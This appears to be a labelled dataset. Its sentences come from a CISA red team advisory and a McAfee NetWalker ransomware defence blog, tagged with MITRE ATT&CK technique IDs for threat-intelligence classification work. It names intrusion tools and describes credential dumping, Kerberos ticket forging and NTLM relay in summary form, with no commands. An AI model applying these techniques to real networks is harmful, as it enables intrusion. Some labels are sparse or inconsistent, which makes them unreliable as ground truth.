{"sentence": "Upgrades applications and infrastructure to leverage modern identity management and network access practices.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Centralizes and streamlines access to cybersecurity data to drive analytics for identifying and managing cybersecurity risks.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Invests in technology and personnel to achieve these goals.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "CISA encourages organizational IT leadership to ask their executive leadership the question: Can the organization accept the business risk of NOT implementing critical security controls such as MFA?", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Risks of that nature should typically be acknowledged and prioritized at the most senior levels of an organization.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "In addition to applying mitigations, CISA recommends exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "To get started: Select an ATT&CK technique described in this advisory (see Table 3).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "CISA recommends continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "RESOURCES See CISA’s RedEye tool on CISA’s GitHub page.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "RedEye is an interactive open-source analytic tool used to visualize and report red team command and control activities.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "See CISA’s RedEye tool overview video for more information.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "REFERENCES", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[1] Bleeping Computer: New DFSCoerce NTLM Relay attack allows Windows domain takeover APPENDIX: MITRE ATT&CK TACTICS AND TECHNIQUES See Table 3 for all referenced red team tactics and techniques in this advisory.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Note: activity was from Phase I unless noted.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Table 3: Red Team ATT&CK Techniques for Enterprise Reconnaissance Technique Title ID Use Gather Victim Identity Information: Email Addresses T1589.002", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team found employee email addresses via open-source research.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Gather Victim Identify Information: Employee Names T1589.003", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team identified employee names via open-source research that could be used to derive email addresses.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Gather Victim Network Information: Network Security Appliances T1590.006 The team identified the organization’s MDM vendor and leveraged that information to move laterally to SBS-connected assets.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Gather Victim Org Information T1591 The team conducted open-source research and identified an organizational branch that likely had access to an SBS asset.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Gather Victim Org Information: Determine Physical Locations T1591.001", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team conducted open-source research to identify the physical locations of upkeep/management staff of selected assets.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Search Open Technical Databases: Scan Databases T1596.005 The team queried an MDM SQL database to identify target administrators who recently connected with the MDM.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Resource Development Technique Title ID Use Acquire Infrastructure T1583", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used third-party owned and operated infrastructure throughout their assessment for C2.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Establish Accounts: Email Accounts T1585.002", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used commercially available email platforms for their spearphishing activity.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Obtain Capabilities: Tool T1588.002 The team used the following tools: Cobalt Strike and Merlin payloads for C2. KeeThief to obtain a decryption key from a KeePass database Rubeus and DFSCoerce in an NTLM relay attack Initial Access Technique Title ID Use Phishing: Spearphishing Link T1566.002", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team sent spearphishing emails with links to a red-team-controlled domain to gain access to the organization’s systems.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Execution Technique Title ID Use Native API T1106 The team created a policy via the MDM API, which downloaded and executed a payload on a workstation.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "User Execution T1204 Users downloaded and executed the team’s initial access payloads after clicking buttons to trigger download and execution.", "labels": ["T1204.002"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Persistence Technique Title ID Use Account Manipulation T1098 The team elevated account privileges to administrator and modified the user’s account by adding Create Policy and Delete Policy permissions.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "During Phase II, the team created local admin accounts and an AD account; they added the created AD account to a domain admins group.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Create Account: Local Account T1136.001 During Phase II, the team created a local administrator account on a workstation and a server.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Domain Account T1136.002 During Phase II, the team created an AD account.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Windows Service T1543.003 During Phase II, the team leveraged compromised workstation and domain admin accounts to execute a payload via Windows Service Creation on target workstations and the DC.", "labels": ["T1078", "T1543.003", "T1569.002"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Event Triggered Execution: Windows Management Instrumentation Event Subscription T1546.003", "labels": ["T1047"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used WMI Event Subscriptions to move laterally between sites.", "labels": ["T1047"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Hijack Execution Flow: DLL Search Order Hijacking T1574.001", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used DLL hijacking to move laterally between sites.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Privilege Escalation Technique Title ID Use Abuse Elevation Control Mechanism T1548 The team elevated user account privileges to administrator by modifying the user’s account via adding Create Policy and Delete Policy permissions.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Defense Evasion Technique Title ID Use Valid Accounts: Domain Accounts T1078.002 During Phase II", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": ", the team compromised a domain admin account and used it to laterally to multiple workstations and the DC.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Credential Access Technique Title ID Use OS Credential Dumping: LSASS Memory T1003.001", "labels": ["T1003.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team obtained the cached credentials from a SharePoint server account by taking a snapshot of lsass.exe with a tool called nanodump, exporting the output and processing the output offline with Mimikatz.", "labels": ["T1003.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "OS Credential Dumping: DCSync T1003.006 The team harvested AES-256 hashes via DCSync.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Brute Force: Password Cracking T1110.002", "labels": ["T1110"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team cracked a user’s workstation account password after learning the user’s patterns from plaintext credentials.", "labels": ["T1110"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Unsecured Credentials T1552 The team found backups of a MySQL database that contained the encryption key needed to decrypt SSH passwords.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Unsecured Credentials: Credentials in Files T1552.001", "labels": ["T1552.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team found plaintext credentials to an API user account stored in PowerShell scripts on an MDM server.", "labels": ["T1552.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Unsecured Credentials: Bash History T1552.003 The team found bash history files on a Workstation 5, and the files appeared to be SSH passwords saved in bash history.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Credentials from Password Stores: Password Managers T1555.005", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team pulled credentials from a KeePass database.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Adversary-in-the-middle: LLMNR/NBT-NS Poisoning and SMB Relay T1557.001", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team ran the DFSCoerce python script, which prompted DC authentication to a server using the server’s NTLM hash.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team then deployed Rubeus to capture the incoming DC TGT. Steal or Forge Kerberos Tickets: Golden Ticket T1558.001", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used the acquired krbtgt account hash throughout their assessment to forge legitimate TGTs. Steal or Forge Kerberos Tickets: Kerberoasting T1558.003 The team leveraged Rubeus and DFSCoerce in a NTLM relay attack to obtain the DC’s TGT from a host with Unconstrained Delegation enabled.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Discovery Technique Title ID Use System Network Configuration Discovery T1016", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team queried the AD for information about the network's sites and subnets.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Remote System Discovery T1018", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team queried the AD, during phase I and II, for information about computers on the network.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "System Network Connections Discovery T1049 The team listed existing network connections on SCCM Server 1 to reveal an active SMB connection with server 2. Permission Groups Discovery: Domain Groups T1069.002 The team leveraged ldapsearch and dsquery to query and scrape active directory information.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Account Discovery: Domain Account T1087.002", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team queried AD for AD users (during Phase I and II), including for members of a SharePoint admin group and several standard user accounts with administrative access.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Cloud Infrastructure Discovery T1580 The team found SecOps network diagrams on a host detailing cloud infrastructure boundaries.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Domain Trust Discovery T1482 During Phase II, the team enumerated trust relationships within the AD Forest.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Group Policy Discovery T1615 The team scraped AD information, including GPOs.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Network Service Discovery T1046 During Phase II", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": ", the team enumerated ports on target systems from a previously compromised workstation.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "System Owner/User Discovery T1033", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "During Phase II, the team enumerated the AD for current session information from every domain computer (Workstation and Server).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Lateral Movement Technique Title ID Use Remote Services: SMB/Windows Admin Shares T1021.002", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team moved laterally with an SMB beacon.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "During Phase II, they used compromised workstation and domain admin accounts to upload a payload via SMB on several target Workstations and the DC.", "labels": ["T1078", "T1570"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Use Alternate Authentication Material:", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Pass the Hash T1550.002", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team then deployed Rubeus to capture the incoming DC TGT.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Pass the Ticket T1550.003", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used the asktgt command to impersonate accounts for which they had credentials by requesting account TGTs. Command and Control Technique Title ID Use Application Layer Protocol T1071 The team remotely enumerated the local administrators group on target hosts to find valid user accounts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This technique relies on anonymous SMB pipe binds, which are disabled by default starting with Server 2016.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "During Phase II, the team established sessions that originated from a target Workstation and from the DC directly to an external host over a clear text protocol.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Application Layer Protocol: Web Protocols T1071.001", "labels": ["T1071.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team’s C2 redirectors used HTTPS reverse proxies to redirect C2 traffic.", "labels": ["T1071.001", "T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "File Transfer Protocols T1071.002", "labels": ["T1071.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used HTTPS reverse proxies to redirect C2 traffic between target network and the team’s Cobalt Strike servers.", "labels": ["T1071.001", "T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Encrypted Channel T1573", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team’s C2 traffic was encrypted in transit using encryption keys stored on their C2 servers.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Ingress Tool Transfer T1105", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "During Phase II, the team uploaded and executed well-known malicious files to the DC to generate host-based alerts.", "labels": ["T1105"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Proxy: External Proxy T1090.002 The team used redirectors to redirect C2 traffic between the target organization’s network and the team’s C2 servers.", "labels": ["T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Proxy: Domain Fronting T1090.004 The team used domain fronting to disguise outbound traffic in order to diversify the domains with which the persistent beacons were communicating.", "labels": ["T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Impact Technique Title ID Use Account Access Removal T1531 During Phase II, the team locked out several administrative AD accounts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Please share your thoughts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "We recently updated our anonymous Product Feedback Survey and we'd welcome your feedback.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Building Adaptable Security Architecture Against NetWalker NetWalker Overview The NetWalker ransomware, initially known as Mailto, was first detected in August 2019.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "NetWalker has noticeably evolved to a more stable and robust ransomware-as-a-service (RaaS) model, and McAfee research suggests that the malware operators are targeting and attracting a broader range of technically advanced and enterprising criminal affiliates.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "For more details on NetWalker, see the McAfee ATR blog here.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "We do not want you to be one of those victims, so this blog is focused on how to build an adaptable security architecture to defeat this threat and, specifically, how McAfee’s portfolio delivers the capability to prevent, detect and respond to NetWalker ransomware.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Gathering Intelligence on NetWalker As always, building adaptable defensive architecture starts with intelligence.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "In most organizations, the Security Operations team is responsible for threat intelligence analysis, as well as threat and incident response.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The Preview of McAfee MVISION Insights is a sneak peek of some of MVISION Insights capabilities for the threat intel analyst and threat responder.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The preview identifies the prevalence and severity of select top emerging threats across the globe which enables the Security Operations Center (SOC) to prioritize threat response actions and gather relevant cyber threat intelligence (CTI) associated with the threat, in this case NetWalker ransomware.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The CTI is provided in the form of technical Indicators of Compromise (IOCs) as well as MITRE ATT&CK framework tactics and techniques.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "As a threat intel analyst or responder, you can drill down to gather more specific information on NetWalker, such as prevalence and links to other sources of information.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "As a threat intel analyst or responder, you can further drill down to gather more specific actionable intelligence on NetWalker, such as indicators of compromise and tactics/techniques aligned to the MITRE ATT&CK framework.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "From MVISION Insights preview, you can see that NetWalker leverages tactics and techniques common to other ransomware attacks, such as spear phishing attachments for Initial Access, use of PowerShell for deployment, modification of Registry Keys/Startup folder for persistence and encryption of files for impact of course.", "labels": ["T1547.001", "T1566.001"], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Defensive Architecture Overview Today’s digital enterprise is a hybrid environment of on-premise systems and cloud services with multiple entry points for attacks like NetWalker.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The work from home operating model forced by COVID-19 has only expanded the attack surface and increased the risk for successful ransomware attack if organizations did not adapt their security posture.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Mitigating the risk of attacks like NetWalker requires a security architecture with the right controls at the device, on the network and in security operations (sec ops).", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The Center for Internet Security (CIS) Top 20 Cyber Security Controls provides a good guide to build that architecture.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "For ransomware, and NetWalker in particular, the controls must be layered throughout the enterprise.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The following outlines the key security controls needed at each layer of the architecture to protect your enterprise against ransomware.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "To assess your capability against NetWalker, you must match your existing controls against the attack stages we learned from the Preview of MVISION Insights.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "For detailed analysis on the NetWalker ransomware attack, see McAfee ATR’s blog but, for simplicity, we matched the attack stages to the MITRE ATT&CK Framework below.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Initial Access Stage Defensive Overview", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "According to Threat Intelligence and Research, the initial access is performed either through vulnerability exploitation or spear phishing attachments.", "labels": ["T1566.001"], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The following chart summarizes the controls expected to have the most effect against initial stage techniques and the McAfee solutions to implement those controls where possible.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "MITRE Tactic MITRE Techniques CSC Controls McAfee Capability Initial Access Exploit Public-Facing Applications (T1190) Tomcat, Web Logic CSC 2 Inventory of Software Assets", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "CSC 3 Continuous Vulnerability Assessment CSC 5 Secure Configuration of hardware and software CSC 9 Limitation of Network Ports and Protocols CSC 12 Boundary Defense CSC 18 Application Software Security Endpoint Security Platform 10.7, Threat Prevention, Application Control (MAC) Network Security Platform (NSP)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Initial Access Spear Phishing Attachments (T1566.001)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "CSC 7 – Email and Web Browser Protection CSC 8 – Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Web Gateway (MWG), Advanced Threat Defense, Web Gateway Cloud Service (WGCS) Initial Access Valid Accounts (T1078) RDP Compromised CSC 5 Secure Configuration of hardware and software CSC 9 Limitation of Network Ports and Protocols CSC 12 Boundary Defense Endpoint Security Platform 10.7, Threat Prevention", "labels": ["T1566.001"], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "As attackers can quickly change spear phishing attachments, it is important to have adaptable defenses that include user awareness training and response procedures, behavior-based malware defenses on email systems, web access and endpoint systems, and finally sec ops playbooks for early detection and response against suspicious email attachments or other phishing techniques.", "labels": ["T1566.001"], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "For more information on how McAfee can protect against suspicious email attachments, review this additional blog post. Using valid accounts and protocols, such as for Remote Desktop Protocol, is an attack technique we have seen rise during the initial COVID-19 period.", "labels": ["T1021.001", "T1078"], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "To further understand how McAfee defends against RDP as an initial access vector, as well as how the attackers are using it to deploy ransomware, please see our previous posts.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rdp-security-explained/ https://www.mcafee.com/blogs/other-blogs/mcafee-labs/cybercriminals-actively-exploiting-rdp-to-target-remote-organizations/ https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ens-10-7-rolls-back-the-curtain-on-ransomware/ Exploitation Stage Defensive Overview", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The exploitation stage is where the attacker gains access to the target system.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Protection at this stage is heavily dependent on system vulnerability management, adaptable anti-malware on both end user devices and servers and security operations tools like endpoint detection and response sensors.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "McAfee Endpoint Security 10.7 provides a defense in depth capability including signatures and threat intelligence to cover known bad indicators or programs.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Additionally, machine-learning and behavior-based protection reduces the attack surface against NetWalker and detects new exploitation attack techniques.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "For more information on how McAfee Endpoint Security 10.7 can prevent or identify the techniques used in NetWalker, review these additional blog posts.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ens-10-7-rolls-back-the-curtain-on-ransomware/ https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-amsi-integration-protects-against-malicious-scripts/ https://www.mcafee.com/blogs/other-blogs/mcafee-labs/how-to-use-mcafee-atp-to-protect-against-emotet-lemonduck-and-powerminer/ The following chart summarizes the critical security controls expected to have the most effect against exploitation stage techniques and the McAfee solutions to implement those controls where possible. MITRE Tactic MITRE Techniques CSC Controls McAfee Portfolio Mitigation Execution PowerShell (T1059.001)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "PowerShell Script CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR Execution Service Execution (T1569.002)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "PS Exec CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR Execution Command and Scripting Interpreter (T1059.003) Windows Command Shell CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR Execution Native API (T1106) Use Windows API functions to inject DLL CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR Execution Windows Management Instrumentation ((T1047)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "CSC 4 Controlled Use of Admin Privileges CSC 5 Secure Configuration CSC 9 Limitation of Network Ports and Protocols CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR Persistence Registry Key – Place Value on Run Once Key (T1060)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7 Threat Prevention Persistence Modify Registry key – Create own key (T1112)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7 Threat Prevention Privilege Escalation Exploitation for Privilege Exploitation ((T1068) CVE-2020-0796 CSC 3 Vulnerability Management CSC 5 Secure Configuration CSC 8 Malware Defenses CSC 12 Boundary Defenses Network Security Platform (CVE-2020-0796) Privilege Escalation Exploitation for Privilege Exploitation ((T1068) CVE-2019-1458 CSC 3 Vulnerability Management CSC 5 Secure Configuration CSC 8 Malware Defenses CSC 12 Boundary Defenses Network Security Platform (CVE-2019-1458); Endpoint Security Platform 10.7 (CVE-2019-1458) Threat Prevention, Application Control (MAC) Privilege Escalation Exploitation for Privilege Exploitation ((T1068) CVE-2017-0213 CSC 3 Vulnerability Management CSC 5 Secure Configuration CSC 8 Malware Defenses CSC 12 Boundary Defenses Network Security Platform (CVE-2017-0213); Endpoint Security Platform 10.7 (CVE-2017-0213) Threat Prevention, Application Control (MAC) Privilege Escalation Exploitation for Privilege Exploitation ((T1068) CVE-2015-1701 CSC 3 Vulnerability Management CSC 5 Secure Configuration CSC 8 Malware Defenses CSC 12 Boundary Defenses Network Security Platform (CVE-2015-1701); Endpoint Security Platform 10.7, Threat Prevention, Application Control (MAC) Privilege Escalation Process Injection: Reflective DLL (T1055)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR Defensive Evasion Disabling Security Tools (T1562.001) ESET, Trend Micro, MS CSC 5 Secure Configuration CSC 8 Malware Defenses Defensive Evasion Process Injection: Reflective DLL (T1055)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
